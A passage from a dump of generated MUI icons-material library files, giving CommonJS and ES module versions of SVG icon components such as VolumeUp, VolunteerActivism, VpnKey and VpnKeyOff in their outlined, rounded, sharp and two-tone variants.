    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.83 11H5v2h2.83L10 15.17v-3.76l-1.29-1.29z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M4.34 2.93 2.93 4.34 7.29 8.7 7 9H3v6h4l5 5v-6.59l4.18 4.18c-.65.49-1.38.88-2.18 1.11v2.06c1.34-.3 2.57-.92 3.61-1.75l2.05 2.05 1.41-1.41zM10 15.17 7.83 13H5v-2h2.83l.88-.88L10 11.41zM19 12c0 .82-.15 1.61-.41 2.34l1.53 1.53c.56-1.17.88-2.48.88-3.87 0-4.28-2.99-7.86-7-8.77v2.06c2.89.86 5 3.54 5 6.71m-7-8-1.88 1.88L12 7.76zm4.5 8c0-1.77-1.02-3.29-2.5-4.03v1.79l2.48 2.48c.01-.08.02-.16.02-.24\"\n}, \"1\")], 'VolumeOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VolumeUp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 9v6h4l5 5V4L7 9zm13.5 3c0-1.77-1.02-3.29-2.5-4.03v8.05c1.48-.73 2.5-2.25 2.5-4.02M14 3.23v2.06c2.89.86 5 3.54 5 6.71s-2.11 5.85-5 6.71v2.06c4.01-.91 7-4.49 7-8.77s-2.99-7.86-7-8.77\"\n}), 'VolumeUp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VolumeUp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 9v6h4l5 5V4L7 9zm13.5 3c0-1.77-1.02-3.29-2.5-4.03v8.05c1.48-.73 2.5-2.25 2.5-4.02M14 3.23v2.06c2.89.86 5 3.54 5 6.71s-2.11 5.85-5 6.71v2.06c4.01-.91 7-4.49 7-8.77s-2.99-7.86-7-8.77\"\n}), 'VolumeUp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VolumeUpOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 9v6h4l5 5V4L7 9zm7-.17v6.34L7.83 13H5v-2h2.83zM16.5 12c0-1.77-1.02-3.29-2.5-4.03v8.05c1.48-.73 2.5-2.25 2.5-4.02M14 3.23v2.06c2.89.86 5 3.54 5 6.71s-2.11 5.85-5 6.71v2.06c4.01-.91 7-4.49 7-8.77s-2.99-7.86-7-8.77\"\n}), 'VolumeUpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VolumeUpOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 9v6h4l5 5V4L7 9zm7-.17v6.34L7.83 13H5v-2h2.83zM16.5 12c0-1.77-1.02-3.29-2.5-4.03v8.05c1.48-.73 2.5-2.25 2.5-4.02M14 3.23v2.06c2.89.86 5 3.54 5 6.71s-2.11 5.85-5 6.71v2.06c4.01-.91 7-4.49 7-8.77s-2.99-7.86-7-8.77\"\n}), 'VolumeUpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VolumeUpRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 10v4c0 .55.45 1 1 1h3l3.29 3.29c.63.63 1.71.18 1.71-.71V6.41c0-.89-1.08-1.34-1.71-.71L7 9H4c-.55 0-1 .45-1 1m13.5 2c0-1.77-1.02-3.29-2.5-4.03v8.05c1.48-.73 2.5-2.25 2.5-4.02M14 4.45v.2c0 .38.25.71.6.85C17.18 6.53 19 9.06 19 12s-1.82 5.47-4.4 6.5c-.36.14-.6.47-.6.85v.2c0 .63.63 1.07 1.21.85C18.6 19.11 21 15.84 21 12s-2.4-7.11-5.79-8.4c-.58-.23-1.21.22-1.21.85\"\n}), 'VolumeUpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VolumeUpRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 10v4c0 .55.45 1 1 1h3l3.29 3.29c.63.63 1.71.18 1.71-.71V6.41c0-.89-1.08-1.34-1.71-.71L7 9H4c-.55 0-1 .45-1 1m13.5 2c0-1.77-1.02-3.29-2.5-4.03v8.05c1.48-.73 2.5-2.25 2.5-4.02M14 4.45v.2c0 .38.25.71.6.85C17.18 6.53 19 9.06 19 12s-1.82 5.47-4.4 6.5c-.36.14-.6.47-.6.85v.2c0 .63.63 1.07 1.21.85C18.6 19.11 21 15.84 21 12s-2.4-7.11-5.79-8.4c-.58-.23-1.21.22-1.21.85\"\n}), 'VolumeUpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VolumeUpSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 9v6h4l5 5V4L7 9zm13.5 3c0-1.77-1.02-3.29-2.5-4.03v8.05c1.48-.73 2.5-2.25 2.5-4.02M14 3.23v2.06c2.89.86 5 3.54 5 6.71s-2.11 5.85-5 6.71v2.06c4.01-.91 7-4.49 7-8.77s-2.99-7.86-7-8.77\"\n}), 'VolumeUpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VolumeUpSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 9v6h4l5 5V4L7 9zm13.5 3c0-1.77-1.02-3.29-2.5-4.03v8.05c1.48-.73 2.5-2.25 2.5-4.02M14 3.23v2.06c2.89.86 5 3.54 5 6.71s-2.11 5.85-5 6.71v2.06c4.01-.91 7-4.49 7-8.77s-2.99-7.86-7-8.77\"\n}), 'VolumeUpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VolumeUpTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 13h2.83L10 15.17V8.83L7.83 11H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 9v6h4l5 5V4L7 9zm7-.17v6.34L7.83 13H5v-2h2.83zm4-.86v8.05c1.48-.73 2.5-2.25 2.5-4.02S15.48 8.71 14 7.97m0-4.74v2.06c2.89.86 5 3.54 5 6.71s-2.11 5.85-5 6.71v2.06c4.01-.91 7-4.49 7-8.77s-2.99-7.86-7-8.77\"\n}, \"1\")], 'VolumeUpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VolumeUpTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 13h2.83L10 15.17V8.83L7.83 11H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 9v6h4l5 5V4L7 9zm7-.17v6.34L7.83 13H5v-2h2.83zm4-.86v8.05c1.48-.73 2.5-2.25 2.5-4.02S15.48 8.71 14 7.97m0-4.74v2.06c2.89.86 5 3.54 5 6.71s-2.11 5.85-5 6.71v2.06c4.01-.91 7-4.49 7-8.77s-2.99-7.86-7-8.77\"\n}, \"1\")], 'VolumeUpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VolunteerActivism.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1 11h4v11H1zm15-7.75C16.65 2.49 17.66 2 18.7 2 20.55 2 22 3.45 22 5.3c0 2.27-2.91 4.9-6 7.7-3.09-2.81-6-5.44-6-7.7C10 3.45 11.45 2 13.3 2c1.04 0 2.05.49 2.7 1.25M20 17h-7l-2.09-.73.33-.94L13 16h2.82c.65 0 1.18-.53 1.18-1.18 0-.49-.31-.93-.77-1.11L8.97 11H7v9.02L14 22l8.01-3c-.01-1.1-.9-2-2.01-2\"\n}), 'VolunteerActivism');"
  },
  {
    "path": "packages/mui-icons-material/lib/VolunteerActivism.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1 11h4v11H1zm15-7.75C16.65 2.49 17.66 2 18.7 2 20.55 2 22 3.45 22 5.3c0 2.27-2.91 4.9-6 7.7-3.09-2.81-6-5.44-6-7.7C10 3.45 11.45 2 13.3 2c1.04 0 2.05.49 2.7 1.25M20 17h-7l-2.09-.73.33-.94L13 16h2.82c.65 0 1.18-.53 1.18-1.18 0-.49-.31-.93-.77-1.11L8.97 11H7v9.02L14 22l8.01-3c-.01-1.1-.9-2-2.01-2\"\n}), 'VolunteerActivism');"
  },
  {
    "path": "packages/mui-icons-material/lib/VolunteerActivismOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 13c3.09-2.81 6-5.44 6-7.7C22 3.45 20.55 2 18.7 2c-1.04 0-2.05.49-2.7 1.25C15.34 2.49 14.34 2 13.3 2 11.45 2 10 3.45 10 5.3c0 2.26 2.91 4.89 6 7.7m-2.7-9c.44 0 .89.21 1.18.55L16 6.34l1.52-1.79c.29-.34.74-.55 1.18-.55.74 0 1.3.56 1.3 1.3 0 1.12-2.04 3.17-4 4.99-1.96-1.82-4-3.88-4-4.99 0-.74.56-1.3 1.3-1.3M19 16h-2c0-1.2-.75-2.28-1.87-2.7L8.97 11H1v11h6v-1.44l7 1.94 8-2.5v-1c0-1.66-1.34-3-3-3M3 20v-7h2v7zm10.97.41L7 18.48V13h1.61l5.82 2.17c.34.13.57.46.57.83 0 0-1.99-.05-2.3-.15l-2.38-.79-.63 1.9 2.38.79c.51.17 1.04.26 1.58.26H19c.39 0 .74.23.9.56z\"\n}), 'VolunteerActivismOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VolunteerActivismOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 13c3.09-2.81 6-5.44 6-7.7C22 3.45 20.55 2 18.7 2c-1.04 0-2.05.49-2.7 1.25C15.34 2.49 14.34 2 13.3 2 11.45 2 10 3.45 10 5.3c0 2.26 2.91 4.89 6 7.7m-2.7-9c.44 0 .89.21 1.18.55L16 6.34l1.52-1.79c.29-.34.74-.55 1.18-.55.74 0 1.3.56 1.3 1.3 0 1.12-2.04 3.17-4 4.99-1.96-1.82-4-3.88-4-4.99 0-.74.56-1.3 1.3-1.3M19 16h-2c0-1.2-.75-2.28-1.87-2.7L8.97 11H1v11h6v-1.44l7 1.94 8-2.5v-1c0-1.66-1.34-3-3-3M3 20v-7h2v7zm10.97.41L7 18.48V13h1.61l5.82 2.17c.34.13.57.46.57.83 0 0-1.99-.05-2.3-.15l-2.38-.79-.63 1.9 2.38.79c.51.17 1.04.26 1.58.26H19c.39 0 .74.23.9.56z\"\n}), 'VolunteerActivismOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VolunteerActivismRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 11c-1.1 0-2 .9-2 2v7c0 1.1.9 2 2 2s2-.9 2-2v-7c0-1.1-.9-2-2-2m7-5.7C10 3.45 11.45 2 13.3 2c1.04 0 2.05.49 2.7 1.25.65-.76 1.66-1.25 2.7-1.25C20.55 2 22 3.45 22 5.3c0 2.1-2.5 4.51-5.33 7.09-.38.35-.97.35-1.35 0C12.5 9.81 10 7.4 10 5.3M19.99 17h-6.83a.96.96 0 0 1-.33-.06l-1.47-.51c-.26-.09-.39-.37-.3-.63s.38-.4.64-.3l1.12.43c.11.04.24.07.36.07h2.63c.65 0 1.18-.53 1.18-1.18 0-.49-.31-.93-.77-1.11L9.3 11.13c-.22-.09-.46-.13-.7-.13H7v9.02l6.37 1.81c.41.12.85.1 1.25-.05L22 19c0-1.11-.9-2-2.01-2\"\n}), 'VolunteerActivismRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VolunteerActivismRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 11c-1.1 0-2 .9-2 2v7c0 1.1.9 2 2 2s2-.9 2-2v-7c0-1.1-.9-2-2-2m7-5.7C10 3.45 11.45 2 13.3 2c1.04 0 2.05.49 2.7 1.25.65-.76 1.66-1.25 2.7-1.25C20.55 2 22 3.45 22 5.3c0 2.1-2.5 4.51-5.33 7.09-.38.35-.97.35-1.35 0C12.5 9.81 10 7.4 10 5.3M19.99 17h-6.83a.96.96 0 0 1-.33-.06l-1.47-.51c-.26-.09-.39-.37-.3-.63s.38-.4.64-.3l1.12.43c.11.04.24.07.36.07h2.63c.65 0 1.18-.53 1.18-1.18 0-.49-.31-.93-.77-1.11L9.3 11.13c-.22-.09-.46-.13-.7-.13H7v9.02l6.37 1.81c.41.12.85.1 1.25-.05L22 19c0-1.11-.9-2-2.01-2\"\n}), 'VolunteerActivismRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VolunteerActivismSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1 11h4v11H1zm15-7.75C16.65 2.49 17.66 2 18.7 2 20.55 2 22 3.45 22 5.3c0 2.27-2.91 4.9-6 7.7-3.09-2.81-6-5.44-6-7.7C10 3.45 11.45 2 13.3 2c1.04 0 2.05.49 2.7 1.25M22 17h-9l-2.09-.73.33-.95L13 16h4v-2l-8.03-3H7v9.02L14 22l8-3z\"\n}), 'VolunteerActivismSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VolunteerActivismSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1 11h4v11H1zm15-7.75C16.65 2.49 17.66 2 18.7 2 20.55 2 22 3.45 22 5.3c0 2.27-2.91 4.9-6 7.7-3.09-2.81-6-5.44-6-7.7C10 3.45 11.45 2 13.3 2c1.04 0 2.05.49 2.7 1.25M22 17h-9l-2.09-.73.33-.95L13 16h4v-2l-8.03-3H7v9.02L14 22l8-3z\"\n}), 'VolunteerActivismSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VolunteerActivismTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 13h2v7H3zm13-2.71c1.96-1.82 4-3.88 4-4.99 0-.74-.56-1.3-1.3-1.3-.44 0-.89.21-1.18.55L16 6.34l-1.52-1.79c-.29-.34-.74-.55-1.18-.55-.74 0-1.3.56-1.3 1.3 0 1.11 2.04 3.17 4 4.99M19 18h-5.35c-.54 0-1.07-.09-1.58-.26l-2.38-.79.63-1.9 2.38.79c.31.1.63.15.95.15H15c0-.37-.23-.7-.57-.83L8.61 13H7v5.48l6.97 1.94 5.93-1.85c-.16-.34-.51-.57-.9-.57\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 13c3.09-2.81 6-5.44 6-7.7C22 3.45 20.55 2 18.7 2c-1.04 0-2.05.49-2.7 1.25C15.35 2.49 14.34 2 13.3 2 11.45 2 10 3.45 10 5.3c0 2.26 2.91 4.89 6 7.7m-2.7-9c.44 0 .89.21 1.18.55L16 6.34l1.52-1.79c.29-.34.74-.55 1.18-.55.74 0 1.3.56 1.3 1.3 0 1.12-2.04 3.17-4 4.99-1.96-1.82-4-3.88-4-4.99 0-.74.56-1.3 1.3-1.3M19 16h-2c0-1.2-.75-2.28-1.87-2.7L8.97 11H1v11h6v-1.44l7 1.94 8-2.5v-1c0-1.66-1.34-3-3-3M5 20H3v-7h2zm8.97.41L7 18.48V13h1.61l5.82 2.17c.34.13.57.46.57.83h-1.35c-.32 0-.64-.05-.95-.15l-2.38-.79-.63 1.9 2.38.79c.51.17 1.04.26 1.58.26H19c.39 0 .74.23.9.56z\"\n}, \"1\")], 'VolunteerActivismTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VolunteerActivismTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 13h2v7H3zm13-2.71c1.96-1.82 4-3.88 4-4.99 0-.74-.56-1.3-1.3-1.3-.44 0-.89.21-1.18.55L16 6.34l-1.52-1.79c-.29-.34-.74-.55-1.18-.55-.74 0-1.3.56-1.3 1.3 0 1.11 2.04 3.17 4 4.99M19 18h-5.35c-.54 0-1.07-.09-1.58-.26l-2.38-.79.63-1.9 2.38.79c.31.1.63.15.95.15H15c0-.37-.23-.7-.57-.83L8.61 13H7v5.48l6.97 1.94 5.93-1.85c-.16-.34-.51-.57-.9-.57\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 13c3.09-2.81 6-5.44 6-7.7C22 3.45 20.55 2 18.7 2c-1.04 0-2.05.49-2.7 1.25C15.35 2.49 14.34 2 13.3 2 11.45 2 10 3.45 10 5.3c0 2.26 2.91 4.89 6 7.7m-2.7-9c.44 0 .89.21 1.18.55L16 6.34l1.52-1.79c.29-.34.74-.55 1.18-.55.74 0 1.3.56 1.3 1.3 0 1.12-2.04 3.17-4 4.99-1.96-1.82-4-3.88-4-4.99 0-.74.56-1.3 1.3-1.3M19 16h-2c0-1.2-.75-2.28-1.87-2.7L8.97 11H1v11h6v-1.44l7 1.94 8-2.5v-1c0-1.66-1.34-3-3-3M5 20H3v-7h2zm8.97.41L7 18.48V13h1.61l5.82 2.17c.34.13.57.46.57.83h-1.35c-.32 0-.64-.05-.95-.15l-2.38-.79-.63 1.9 2.38.79c.51.17 1.04.26 1.58.26H19c.39 0 .74.23.9.56z\"\n}, \"1\")], 'VolunteerActivismTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VpnKey.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.65 10C11.83 7.67 9.61 6 7 6c-3.31 0-6 2.69-6 6s2.69 6 6 6c2.61 0 4.83-1.67 5.65-4H17v4h4v-4h2v-4zM7 14c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'VpnKey');"
  },
  {
    "path": "packages/mui-icons-material/lib/VpnKey.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.65 10C11.83 7.67 9.61 6 7 6c-3.31 0-6 2.69-6 6s2.69 6 6 6c2.61 0 4.83-1.67 5.65-4H17v4h4v-4h2v-4zM7 14c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'VpnKey');"
  },
  {
    "path": "packages/mui-icons-material/lib/VpnKeyOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.83 18H21v-4h2v-4H12.83zm-1.05 4.61 1.41-1.41L2.81 2.81 1.39 4.22l2.59 2.59C2.2 7.85 1 9.79 1 12c0 3.31 2.69 6 6 6 2.21 0 4.15-1.2 5.18-2.99zM8.99 11.82c.01.06.01.12.01.18 0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2c.06 0 .12 0 .18.01z\"\n}), 'VpnKeyOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/VpnKeyOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.83 18H21v-4h2v-4H12.83zm-1.05 4.61 1.41-1.41L2.81 2.81 1.39 4.22l2.59 2.59C2.2 7.85 1 9.79 1 12c0 3.31 2.69 6 6 6 2.21 0 4.15-1.2 5.18-2.99zM8.99 11.82c.01.06.01.12.01.18 0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2c.06 0 .12 0 .18.01z\"\n}), 'VpnKeyOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/VpnKeyOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2.81 2.81 1.39 4.22l2.59 2.59C2.2 7.85 1 9.79 1 12c0 3.31 2.69 6 6 6 2.22 0 4.15-1.21 5.19-3l7.59 7.61 1.41-1.41zM7 16c-2.21 0-4-1.79-4-4 0-1.67 1.02-3.1 2.47-3.7l1.71 1.71C7.12 10 7.06 10 7 10c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2c0-.06 0-.12-.01-.18l1.74 1.74C10.22 14.48 9.14 16 7 16m10-1.83V13h-1.17zM13.83 11H21v2h-2v3l2 2v-3h2V9H11.83z\"\n}), 'VpnKeyOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VpnKeyOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2.81 2.81 1.39 4.22l2.59 2.59C2.2 7.85 1 9.79 1 12c0 3.31 2.69 6 6 6 2.22 0 4.15-1.21 5.19-3l7.59 7.61 1.41-1.41zM7 16c-2.21 0-4-1.79-4-4 0-1.67 1.02-3.1 2.47-3.7l1.71 1.71C7.12 10 7.06 10 7 10c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2c0-.06 0-.12-.01-.18l1.74 1.74C10.22 14.48 9.14 16 7 16m10-1.83V13h-1.17zM13.83 11H21v2h-2v3l2 2v-3h2V9H11.83z\"\n}), 'VpnKeyOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VpnKeyOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3.98 6.81C2.2 7.85 1 9.79 1 12c0 3.31 2.69 6 6 6 2.21 0 4.15-1.2 5.18-2.99l6.89 6.89c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L3.51 3.51a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41zm5.01 5.01c.01.06.01.12.01.18 0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2c.06 0 .12 0 .18.01zm11.33 5.68c.42-.37.68-.91.68-1.5v-2c1.1 0 2-.9 2-2s-.9-2-2-2h-8.17z\"\n}), 'VpnKeyOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VpnKeyOffRounded.mjs",
